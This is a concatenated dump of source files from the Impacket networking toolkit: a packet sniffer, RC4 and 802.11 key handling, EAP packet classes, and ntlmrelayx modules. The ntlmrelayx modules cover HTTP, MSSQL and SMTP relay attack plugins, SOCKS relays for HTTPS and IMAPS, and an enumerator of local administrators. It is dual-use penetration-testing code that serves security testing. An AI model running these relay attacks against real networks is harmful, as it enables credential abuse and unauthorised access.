84 | def main(filter):
85 | dev = getInterface()
86 |
87 | # Open interface for catpuring.
88 | p = open_live(dev, 1500, 0, 100)
89 |
90 | # Set the BPF filter. See tcpdump(3).
91 | p.setfilter(filter)
92 |
93 | print("Listening on %s: net=%s, mask=%s, linktype=%d" % (dev, p.getnet(), p.getmask(), p.datalink()))
94 |
95 | # Start sniffing thread and finish main thread.
96 | DecoderThread(p).start()
97 |
98 | # Process command-line arguments. Take everything as a BPF filter to pass
99 | # onto pcap. Default to the empty filter (match all).
100 | filter = ''
101 | if len(sys.argv) > 1:
102 | filter = ' '.join(sys.argv[1:])
103 |
104 | main(filter)
105 |
--------------------------------------------------------------------------------
/impacket/examples/sniffer.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
3 | #
4 | # This software is provided under under a slightly modified version
5 | # of the Apache Software License. See the accompanying LICENSE file
6 | # for more information.
7 | #
8 | # Simple packet sniffer.
9 | #
10 | # This packet sniffer uses a raw socket to listen for packets
11 | # in transit corresponding to the specified protocols.
12 | #
13 | # Note that the user might need special permissions to be able to use
14 | # raw sockets.
15 | #
16 | # Authors:
17 | # Gerardo Richarte
18 | # Javier Kohen
19 | #
20 | # Reference for:
21 | # ImpactDecoder.
22 |
23 | from select import select
24 | import socket
25 | import sys
26 |
27 | from impacket import ImpactDecoder
28 |
29 | DEFAULT_PROTOCOLS = ('icmp', 'tcp', 'udp')
30 |
31 | if len(sys.argv) == 1:
32 | toListen = DEFAULT_PROTOCOLS
33 | print("Using default set of protocols. A list of protocols can be supplied from the command line, eg.: %s [proto2] ..." % sys.argv[0])
34 | else:
35 | toListen = sys.argv[1:]
36 |
37 | # Open one socket for each specified protocol.
38 | # A special option is set on the socket so that IP headers are included with
39 | # the returned data.
40 | sockets = []
41 | for protocol in toListen:
42 | try:
43 | protocol_num = socket.getprotobyname(protocol)
44 | except socket.error:
45 | print("Ignoring unknown protocol:", protocol)
46 | toListen.remove(protocol)
47 | continue
48 | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num)
49 | s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
50 | sockets.append(s)
51 |
52 | if 0 == len(toListen):
53 | print("There are no protocols available.")
54 | sys.exit(0)
55 |
56 | print("Listening on protocols:", toListen)
57 |
58 | # Instantiate an IP packets decoder.
59 | # As all the packets include their IP header, that decoder only is enough.
60 | decoder = ImpactDecoder.IPDecoder()
61 |
62 | while len(sockets) > 0:
63 | # Wait for an incoming packet on any socket.
64 | ready = select(sockets, [], [])[0]
65 | for s in ready:
66 | packet = s.recvfrom(4096)[0]
67 | if 0 == len(packet):
68 | # Socket remotely closed. Discard it.
69 | sockets.remove(s)
70 | s.close()
71 | else:
72 | # Packet received. Decode and display it.
73 | packet = decoder.decode(packet)
74 | print(packet)
75 |
--------------------------------------------------------------------------------
/impacket/impacket/Dot11Crypto.py:
--------------------------------------------------------------------------------
1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # Description:
8 | # IEEE 802.11 Network packet codecs.
9 | #
10 | # Author:
11 | # Gustavo Moreira
12 |
13 | class RC4():
14 | def __init__(self, key):
15 | bkey = bytearray(key)
16 | j = 0
17 | self.state = bytearray(range(256))
18 | for i in range(256):
19 | j = (j + self.state[i] + bkey[i % len(key)]) & 0xff
20 | self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j)
21 |
22 | def encrypt(self, data):
23 | i = j = 0
24 | out=bytearray()
25 | for char in bytearray(data):
26 | i = (i+1) & 0xff
27 | j = (j+self.state[i]) & 0xff
28 | self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j)
29 | out.append(char ^ self.state[(self.state[i] + self.state[j]) & 0xff])
30 |
31 | return bytes(out)
32 |
33 | def decrypt(self, data):
34 | # It's symmetric
35 | return self.encrypt(data)
36 |
--------------------------------------------------------------------------------
/impacket/impacket/Dot11KeyManager.py:
--------------------------------------------------------------------------------
1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # Description:
8 | # IEEE 802.11 Network packet codecs.
9 | #
10 | # Author:
11 | # Gustavo Moreira
12 |
13 | from array import array
14 | class KeyManager:
15 | def __init__(self):
16 | self.keys = {}
17 |
18 | def __get_bssid_hasheable_type(self, bssid):
19 | # List is an unhashable type
20 | if not isinstance(bssid, (list,tuple,array)):
21 | raise Exception('BSSID datatype must be a tuple, list or array')
22 | return tuple(bssid)
23 |
24 | def add_key(self, bssid, key):
25 | bssid=self.__get_bssid_hasheable_type(bssid)
26 | if bssid not in self.keys:
27 | self.keys[bssid] = key
28 | return True
29 | else:
30 | return False
31 |
32 | def replace_key(self, bssid, key):
33 | bssid=self.__get_bssid_hasheable_type(bssid)
34 | self.keys[bssid] = key
35 |
36 | return True
37 |
38 | def get_key(self, bssid):
39 | bssid=self.__get_bssid_hasheable_type(bssid)
40 | if bssid in self.keys:
41 | return self.keys[bssid]
42 | else:
43 | return False
44 |
45 | def delete_key(self, bssid):
46 | bssid=self.__get_bssid_hasheable_type(bssid)
47 | if not isinstance(bssid, list):
48 | raise Exception('BSSID datatype must be a list')
49 |
50 | if bssid in self.keys:
51 | del self.keys[bssid]
52 | return True
53 |
54 | return False
55 |
--------------------------------------------------------------------------------
/impacket/impacket/__init__.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2003-2016 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # Author: Alberto Solino (@agsolino)
8 | #
9 |
10 | # Set default logging handler to avoid "No handler found" warnings.
11 | import logging
12 | try: # Python 2.7+
13 | from logging import NullHandler
14 | except ImportError:
15 | class NullHandler(logging.Handler):
16 | def emit(self, record):
17 | pass
18 |
19 | # All modules inside this library MUST use this logger (impacket)
20 | # It is up to the library consumer to do whatever is wanted
21 | # with the logger output. By default it is forwarded to the
22 | # upstream logger
23 |
24 | LOG = logging.getLogger(__name__)
25 | LOG.addHandler(NullHandler())
26 |
--------------------------------------------------------------------------------
/impacket/impacket/dcerpc/__init__.py:
--------------------------------------------------------------------------------
1 | pass
2 |
--------------------------------------------------------------------------------
/impacket/impacket/dcerpc/v5/__init__.py:
--------------------------------------------------------------------------------
1 | pass
2 |
--------------------------------------------------------------------------------
/impacket/impacket/dcerpc/v5/dcom/__init__.py:
--------------------------------------------------------------------------------
1 | pass
2 |
--------------------------------------------------------------------------------
/impacket/impacket/eap.py:
--------------------------------------------------------------------------------
1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # Description:
8 | # EAP packets
9 | #
10 | # Author:
11 | # Aureliano Calvo
12 |
13 |
14 | from impacket.helper import ProtocolPacket, Byte, Word, Long, ThreeBytesBigEndian
15 |
16 | DOT1X_AUTHENTICATION = 0x888E
17 |
18 | class EAPExpanded(ProtocolPacket):
19 | """EAP expanded data according to RFC 3748, section 5.7"""
20 |
21 | WFA_SMI = 0x00372a
22 | SIMPLE_CONFIG = 0x00000001
23 |
24 | header_size = 7
25 | tail_size = 0
26 |
27 | vendor_id = ThreeBytesBigEndian(0)
28 | vendor_type = Long(3, ">")
29 |
30 | class EAPR(ProtocolPacket):
31 | """It represents a request or a response in EAP (codes 1 and 2)"""
32 |
33 | IDENTITY = 0x01
34 | EXPANDED = 0xfe
35 |
36 | header_size = 1
37 | tail_size = 0
38 |
39 | type = Byte(0)
40 |
41 | class EAP(ProtocolPacket):
42 | REQUEST = 0x01
43 | RESPONSE = 0x02
44 | SUCCESS = 0x03
45 | FAILURE = 0x04
46 |
47 | header_size = 4
48 | tail_size = 0
49 |
50 | code = Byte(0)
51 | identifier = Byte(1)
52 | length = Word(2, ">")
53 |
54 | class EAPOL(ProtocolPacket):
55 | EAP_PACKET = 0x00
56 | EAPOL_START = 0x01
57 | EAPOL_LOGOFF = 0x02
58 | EAPOL_KEY = 0x03
59 | EAPOL_ENCAPSULATED_ASF_ALERT = 0x04
60 |
61 | DOT1X_VERSION = 0x01
62 |
63 | header_size = 4
64 | tail_size = 0
65 |
66 | version = Byte(0)
67 | packet_type = Byte(1)
68 | body_length = Word(2, ">")
69 |
--------------------------------------------------------------------------------
/impacket/impacket/examples/__init__.py:
--------------------------------------------------------------------------------
1 | pass
2 |
--------------------------------------------------------------------------------
/impacket/impacket/examples/logger.py:
--------------------------------------------------------------------------------
1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # Description: This logger is intended to be used by impacket instead
8 | # of printing directly. This will allow other libraries to use their
9 | # custom logging implementation.
10 | #
11 |
12 | import logging
13 | import sys
14 |
15 | # This module can be used by scripts using the Impacket library
16 | # in order to configure the root logger to output events
17 | # generated by the library with a predefined format
18 |
19 | # If the scripts want to generate log entries, they can write
20 | # directly to the root logger (logging.info, debug, etc).
21 |
22 | class ImpacketFormatter(logging.Formatter):
23 | '''
24 | Prefixing logged messages through the custom attribute 'bullet'.
25 | '''
26 | def __init__(self):
27 | logging.Formatter.__init__(self,'%(bullet)s %(message)s', None)
28 |
29 | def format(self, record):
30 | if record.levelno == logging.INFO:
31 | record.bullet = '[*]'
32 | elif record.levelno == logging.DEBUG:
33 | record.bullet = '[+]'
34 | elif record.levelno == logging.WARNING:
35 | record.bullet = '[!]'
36 | else:
37 | record.bullet = '[-]'
38 |
39 | return logging.Formatter.format(self, record)
40 |
41 | def init():
42 | # We add a StreamHandler and formatter to the root logger
43 | handler = logging.StreamHandler(sys.stdout)
44 | handler.setFormatter(ImpacketFormatter())
45 | logging.getLogger().addHandler(handler)
46 | logging.getLogger().setLevel(logging.INFO)
47 |
--------------------------------------------------------------------------------
/impacket/impacket/examples/ntlmrelayx/__init__.py:
--------------------------------------------------------------------------------
1 | pass
2 |
--------------------------------------------------------------------------------
/impacket/impacket/examples/ntlmrelayx/attacks/__init__.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2013-2017 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # Protocol Attack Base Class definition
8 | #
9 | # Authors:
10 | # Alberto Solino (@agsolino)
11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
12 | #
13 | # Description:
14 | # Defines a base class for all attacks + loads all available modules
15 | #
16 | # ToDo:
17 | #
18 | import os, sys
19 | import pkg_resources
20 | from impacket import LOG
21 | from threading import Thread
22 |
23 | PROTOCOL_ATTACKS = {}
24 |
25 | # Base class for Protocol Attacks for different protocols (SMB, MSSQL, etc)
26 | # Besides using this base class you need to define one global variable when
27 | # writing a plugin for protocol clients:
28 | # PROTOCOL_ATTACK_CLASS = ""
29 | # or (to support multiple classes in one file)
30 | # PROTOCOL_ATTACK_CLASSES = ["", ""]
31 | # These classes must have the attribute PLUGIN_NAMES which is a list of protocol names
32 | # that will be matched later with the relay targets (e.g. SMB, LDAP, etc)
33 | class ProtocolAttack(Thread):
34 | PLUGIN_NAMES = ['PROTOCOL']
35 | def __init__(self, config, client, username):
36 | Thread.__init__(self)
37 | # Set threads as daemon
38 | self.daemon = True
39 | self.config = config
40 | self.client = client
41 | # By default we only use the username and remove the domain
42 | self.username = username.split('/')[1]
43 |
44 | def run(self):
45 | raise RuntimeError('Virtual Function')
46 |
47 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'attacks'):
48 | if file.find('__') >= 0 or file.endswith('.py') is False:
49 | continue
50 | # This seems to be None in some case (py3 only)
51 | # __spec__ is py3 only though, but I haven't seen this being None on py2
52 | # so it should cover all cases.
53 | try:
54 | package = __spec__.name # Python 3
55 | except NameError:
56 | package = __package__ # Python 2
57 | __import__(package + '.' + os.path.splitext(file)[0])
58 | module = sys.modules[package + '.' + os.path.splitext(file)[0]]
59 | try:
60 | pluginClasses = set()
61 | try:
62 | if hasattr(module, 'PROTOCOL_ATTACK_CLASSES'):
63 | # Multiple classes
64 | for pluginClass in module.PROTOCOL_ATTACK_CLASSES:
65 | pluginClasses.add(getattr(module, pluginClass))
66 | else:
67 | # Single class
68 | pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_ATTACK_CLASS')))
69 | except Exception as e:
70 | LOG.debug(e)
71 | pass
72 |
73 | for pluginClass in pluginClasses:
74 | for pluginName in pluginClass.PLUGIN_NAMES:
75 | LOG.debug('Protocol Attack %s loaded..' % pluginName)
76 | PROTOCOL_ATTACKS[pluginName] = pluginClass
77 | except Exception as e:
78 | LOG.debug(str(e))
79 |
--------------------------------------------------------------------------------
/impacket/impacket/examples/ntlmrelayx/attacks/httpattack.py:
--------------------------------------------------------------------------------
1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # HTTP Attack Class
8 | #
9 | # Authors:
10 | # Alberto Solino (@agsolino)
11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
12 | #
13 | # Description:
14 | # HTTP protocol relay attack
15 | #
16 | # ToDo:
17 | #
18 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
19 |
20 | PROTOCOL_ATTACK_CLASS = "HTTPAttack"
21 |
22 | class HTTPAttack(ProtocolAttack):
23 | """
24 | This is the default HTTP attack. This attack only dumps the root page, though
25 | you can add any complex attack below. self.client is an instance of urrlib.session
26 | For easy advanced attacks, use the SOCKS option and use curl or a browser to simply
27 | proxy through ntlmrelayx
28 | """
29 | PLUGIN_NAMES = ["HTTP", "HTTPS"]
30 | def run(self):
31 | #Default action: Dump requested page to file, named username-targetname.html
32 |
33 | #You can also request any page on the server via self.client.session,
34 | #for example with:
35 | self.client.request("GET", "/")
36 | r1 = self.client.getresponse()
37 | print(r1.status, r1.reason)
38 | data1 = r1.read()
39 | print(data1)
40 |
41 | #Remove protocol from target name
42 | #safeTargetName = self.client.target.replace('http://','').replace('https://','')
43 |
44 | #Replace any special chars in the target name
45 | #safeTargetName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', safeTargetName)
46 |
47 | #Combine username with filename
48 | #fileName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username.decode('utf-16-le')) + '-' + safeTargetName + '.html'
49 |
50 | #Write it to the file
51 | #with open(os.path.join(self.config.lootdir,fileName),'w') as of:
52 | # of.write(self.client.lastresult)
53 |
--------------------------------------------------------------------------------
/impacket/impacket/examples/ntlmrelayx/attacks/mssqlattack.py:
--------------------------------------------------------------------------------
1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # MSSQL Attack Class
8 | #
9 | # Authors:
10 | # Alberto Solino (@agsolino)
11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
12 | #
13 | # Description:
14 | # MSSQL protocol relay attack
15 | #
16 | # ToDo:
17 | #
18 | from impacket import LOG
19 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
20 |
21 | PROTOCOL_ATTACK_CLASS = "MSSQLAttack"
22 |
23 | class MSSQLAttack(ProtocolAttack):
24 | PLUGIN_NAMES = ["MSSQL"]
25 | def run(self):
26 | if self.config.queries is None:
27 | LOG.error('No SQL queries specified for MSSQL relay!')
28 | else:
29 | for query in self.config.queries:
30 | LOG.info('Executing SQL: %s' % query)
31 | self.client.sql_query(query)
32 | self.client.printReplies()
33 | self.client.printRows()
34 |
--------------------------------------------------------------------------------
/impacket/impacket/examples/ntlmrelayx/clients/smtprelayclient.py:
--------------------------------------------------------------------------------
1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # SMTP Protocol Client
8 | #
9 | # Author:
10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
11 | # Alberto Solino (@agsolino)
12 | #
13 | # Description:
14 | # SMTP client for relaying NTLMSSP authentication to mailservers, for example Exchange
15 | #
16 | import smtplib
17 | import base64
18 | from struct import unpack
19 |
20 | from impacket import LOG
21 | from impacket.examples.ntlmrelayx.clients import ProtocolClient
22 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
23 | from impacket.ntlm import NTLMAuthChallenge
24 | from impacket.spnego import SPNEGO_NegTokenResp
25 |
26 | PROTOCOL_CLIENT_CLASSES = ["SMTPRelayClient"]
27 |
28 | class SMTPRelayClient(ProtocolClient):
29 | PLUGIN_NAME = "SMTP"
30 |
31 | def __init__(self, serverConfig, target, targetPort = 25, extendedSecurity=True ):
32 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
33 |
34 | def initConnection(self):
35 | self.session = smtplib.SMTP(self.targetHost,self.targetPort)
36 | # Turn on to debug SMTP messages
37 | # self.session.debuglevel = 3
38 | self.session.ehlo()
39 |
40 | if 'AUTH NTLM' not in self.session.ehlo_resp:
41 | LOG.error('SMTP server does not support NTLM authentication!')
42 | return False
43 | return True
44 |
45 | def sendNegotiate(self,negotiateMessage):
46 | negotiate = base64.b64encode(negotiateMessage)
47 | self.session.putcmd('AUTH NTLM')
48 | code, resp = self.session.getreply()
49 | if code != 334:
50 | LOG.error('SMTP Client error, expected 334 NTLM supported, got %d %s ' % (code, resp))
51 | return False
52 | else:
53 | self.session.putcmd(negotiate)
54 | try:
55 | code, serverChallengeBase64 = self.session.getreply()
56 | serverChallenge = base64.b64decode(serverChallengeBase64)
57 | challenge = NTLMAuthChallenge()
58 | challenge.fromString(serverChallenge)
59 | return challenge
60 | except (IndexError, KeyError, AttributeError):
61 | LOG.error('No NTLM challenge returned from SMTP server')
62 | raise
63 |
64 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
65 | if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
66 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
67 | token = respToken2['ResponseToken']
68 | else:
69 | token = authenticateMessageBlob
70 | auth = base64.b64encode(token)
71 | self.session.putcmd(auth)
72 | typ, data = self.session.getreply()
73 | if typ == 235:
74 | self.session.state = 'AUTH'
75 | return None, STATUS_SUCCESS
76 | else:
77 | LOG.error('SMTP: %s' % ''.join(data))
78 | return None, STATUS_ACCESS_DENIED
79 |
80 | def killConnection(self):
81 | if self.session is not None:
82 | self.session.close()
83 | self.session = None
84 |
85 | def keepAlive(self):
86 | # Send a NOOP
87 | self.session.noop()
88 |
--------------------------------------------------------------------------------
/impacket/impacket/examples/ntlmrelayx/servers/__init__.py:
--------------------------------------------------------------------------------
1 | from impacket.examples.ntlmrelayx.servers.httprelayserver import HTTPRelayServer
2 | from impacket.examples.ntlmrelayx.servers.smbrelayserver import SMBRelayServer
3 |
--------------------------------------------------------------------------------
/impacket/impacket/examples/ntlmrelayx/servers/socksplugins/__init__.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 | import pkg_resources
4 |
5 | SOCKS_RELAYS = set()
6 |
7 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx.servers', 'socksplugins'):
8 | if file.find('__') >= 0 or file.endswith('.py') is False:
9 | continue
10 | # This seems to be None in some case (py3 only)
11 | # __spec__ is py3 only though, but I haven't seen this being None on py2
12 | # so it should cover all cases.
13 | try:
14 | package = __spec__.name # Python 3
15 | except NameError:
16 | package = __package__ # Python 2
17 | __import__(package + '.' + os.path.splitext(file)[0])
18 | module = sys.modules[package + '.' + os.path.splitext(file)[0]]
19 | pluginClass = getattr(module, getattr(module, 'PLUGIN_CLASS'))
20 | SOCKS_RELAYS.add(pluginClass)
21 |
--------------------------------------------------------------------------------
/impacket/impacket/examples/ntlmrelayx/servers/socksplugins/https.py:
--------------------------------------------------------------------------------
1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # A Socks Proxy for the HTTPS Protocol
8 | #
9 | # Author:
10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
11 | #
12 | # Description:
13 | # A simple SOCKS server that proxies a connection to relayed HTTPS connections
14 | #
15 | # ToDo:
16 | #
17 |
18 | from impacket import LOG
19 | from impacket.examples.ntlmrelayx.servers.socksplugins.http import HTTPSocksRelay
20 | from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin
21 | from OpenSSL import SSL
22 |
23 | # Besides using this base class you need to define one global variable when
24 | # writing a plugin:
25 | PLUGIN_CLASS = "HTTPSSocksRelay"
26 | EOL = '\r\n'
27 |
28 | class HTTPSSocksRelay(SSLServerMixin, HTTPSocksRelay):
29 | PLUGIN_NAME = 'HTTPS Socks Plugin'
30 | PLUGIN_SCHEME = 'HTTPS'
31 |
32 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
33 | HTTPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)
34 |
35 | @staticmethod
36 | def getProtocolPort():
37 | return 443
38 |
39 | def skipAuthentication(self):
40 | LOG.debug('Wrapping client connection in TLS/SSL')
41 | self.wrapClientConnection()
42 | if not HTTPSocksRelay.skipAuthentication(self):
43 | # Shut down TLS connection
44 | self.socksSocket.shutdown()
45 | return False
46 | return True
47 |
48 | def tunnelConnection(self):
49 | while True:
50 | try:
51 | data = self.socksSocket.recv(self.packetSize)
52 | except SSL.ZeroReturnError:
53 | # The SSL connection was closed, return
54 | return
55 | # Pass the request to the server
56 | tosend = self.prepareRequest(data)
57 | self.relaySocket.send(tosend)
58 | # Send the response back to the client
59 | self.transferResponse()
60 |
--------------------------------------------------------------------------------
/impacket/impacket/examples/ntlmrelayx/servers/socksplugins/imaps.py:
--------------------------------------------------------------------------------
1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # A Socks Proxy for the IMAPS Protocol
8 | #
9 | # Author:
10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
11 | #
12 | # Description:
13 | # A simple SOCKS server that proxies a connection to relayed IMAPS connections
14 | #
15 | # ToDo:
16 | #
17 | from impacket import LOG
18 | from impacket.examples.ntlmrelayx.servers.socksplugins.imap import IMAPSocksRelay
19 | from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin
20 | from OpenSSL import SSL
21 |
22 | # Besides using this base class you need to define one global variable when
23 | # writing a plugin:
24 | PLUGIN_CLASS = "IMAPSSocksRelay"
25 | EOL = '\r\n'
26 |
27 | class IMAPSSocksRelay(SSLServerMixin, IMAPSocksRelay):
28 | PLUGIN_NAME = 'IMAPS Socks Plugin'
29 | PLUGIN_SCHEME = 'IMAPS'
30 |
31 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
32 | IMAPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)
33 |
34 | @staticmethod
35 | def getProtocolPort():
36 | return 993
37 |
38 | def skipAuthentication(self):
39 | LOG.debug('Wrapping IMAP client connection in TLS/SSL')
40 | self.wrapClientConnection()
41 | try:
42 | if not IMAPSocksRelay.skipAuthentication(self):
43 | # Shut down TLS connection
44 | self.socksSocket.shutdown()
45 | return False
46 | except Exception as e:
47 | LOG.debug('IMAPS: %s' % str(e))
48 | return False
49 | # Change our outgoing socket to the SSL object of IMAP4_SSL
50 | self.relaySocket = self.session.sslobj
51 | return True
52 |
53 | def tunnelConnection(self):
54 | keyword = ''
55 | tag = ''
56 | while True:
57 | try:
58 | data = self.socksSocket.recv(self.packetSize)
59 | except SSL.ZeroReturnError:
60 | # The SSL connection was closed, return
61 | break
62 | # Set the new keyword, unless it is false, then break out of the function
63 | result = self.processTunnelData(keyword, tag, data)
64 | if result is False:
65 | break
66 | # If its not false, it's a tuple with the keyword and tag
67 | keyword, tag = result
68 |
69 | if tag != '':
70 | # Store the tag in the session so we can continue
71 | tag = int(tag)
72 | if self.idleState is True:
73 | self.relaySocket.sendall('DONE%s' % EOL)
74 | self.relaySocketFile.readline()
75 |
76 | if self.shouldClose:
77 | tag += 1
78 | self.relaySocket.sendall('%s CLOSE%s' % (tag, EOL))
79 | self.relaySocketFile.readline()
80 |
81 | self.session.tagnum = tag + 1
82 |
--------------------------------------------------------------------------------
/impacket/impacket/examples/ntlmrelayx/utils/__init__.py:
--------------------------------------------------------------------------------
1 | pass
2 |
--------------------------------------------------------------------------------
/impacket/impacket/examples/ntlmrelayx/utils/enum.py:
--------------------------------------------------------------------------------
1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # Config utilities
8 | #
9 | # Author:
10 | # Ronnie Flathers / @ropnop
11 | #
12 | # Description:
13 | # Helpful enum methods for discovering local admins through SAMR and LSAT
14 |
15 | from impacket.dcerpc.v5 import transport, lsat, samr, lsad
16 | from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
17 |
18 |
19 | class EnumLocalAdmins:
20 | def __init__(self, smbConnection):
21 | self.__smbConnection = smbConnection
22 | self.__samrBinding = r'ncacn_np:445[\pipe\samr]'
23 | self.__lsaBinding = r'ncacn_np:445[\pipe\lsarpc]'
24 |
25 | def __getDceBinding(self, strBinding):
26 | rpc = transport.DCERPCTransportFactory(strBinding)
27 | rpc.set_smb_connection(self.__smbConnection)
28 | return rpc.get_dce_rpc()
29 |
30 | def getLocalAdmins(self):
31 | adminSids = self.__getLocalAdminSids()
32 | adminNames = self.__resolveSids(adminSids)
33 | return adminSids, adminNames
34 |
35 | def __getLocalAdminSids(self):
36 | dce = self.__getDceBinding(self.__samrBinding)
37 | dce.connect()
38 | dce.bind(samr.MSRPC_UUID_SAMR)
39 | resp = samr.hSamrConnect(dce)
40 | serverHandle = resp['ServerHandle']
41 |
42 | resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, 'Builtin')
43 | resp = samr.hSamrOpenDomain(dce, serverHandle=serverHandle, domainId=resp['DomainId'])
44 | domainHandle = resp['DomainHandle']
45 | resp = samr.hSamrOpenAlias(dce, domainHandle, desiredAccess=MAXIMUM_ALLOWED, aliasId=544)
46 | resp = samr.hSamrGetMembersInAlias(dce, resp['AliasHandle'])
47 | memberSids = []
48 | for member in resp['Members']['Sids']:
49 | memberSids.append(member['SidPointer'].formatCanonical())
50 | dce.disconnect()
51 | return memberSids
52 |
53 | def __resolveSids(self, sids):
54 | dce = self.__getDceBinding(self.__lsaBinding)
55 | dce.connect()
56 | dce.bind(lsat.MSRPC_UUID_LSAT)
57 | resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
58 | policyHandle = resp['PolicyHandle']
59 | resp = lsat.hLsarLookupSids(dce, policyHandle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
60 | names = []
61 | for n, item in enumerate(resp['TranslatedNames']['Names']):
62 | names.append("{}\\{}".format(resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'].encode('utf-16-le'), item['Name']))
63 | dce.disconnect()
64 | return names
65 |
--------------------------------------------------------------------------------
/impacket/impacket/examples/ntlmrelayx/utils/ssl.py:
--------------------------------------------------------------------------------
1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # SSL utilities
8 | #
9 | # Author:
10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
11 | #
12 | # Description:
13 | # Various functions and classes for SSL support:
14 | # - generating certificates
15 | # - creating SSL capable SOCKS protocols
16 | #
17 | # Most of the SSL generation example code comes from the pyopenssl examples
18 | # https://github.com/pyca/pyopenssl/blob/master/examples/certgen.py
19 | #
20 | # Made available under the Apache license by the pyopenssl team
21 | # See https://github.com/pyca/pyopenssl/blob/master/LICENSE
22 | from OpenSSL import crypto, SSL
23 | from impacket import LOG
24 |
25 | # This certificate is not supposed to be exposed on the network
26 | # but only used for the local SOCKS plugins
27 | # therefore, for now we don't bother with a CA and with hosts/hostnames matching
28 | def generateImpacketCert(certname='/tmp/impacket.crt'):
29 | # Create a private key
30 | pkey = crypto.PKey()
31 | pkey.generate_key(crypto.TYPE_RSA, 2048)
32 |
33 | # Create the certificate
34 | cert = crypto.X509()
35 | cert.gmtime_adj_notBefore(0)
36 | # Valid for 5 years
37 | cert.gmtime_adj_notAfter(60*60*24*365*5)
38 | subj = cert.get_subject()
39 | subj.CN = 'impacket'
40 | cert.set_pubkey(pkey)
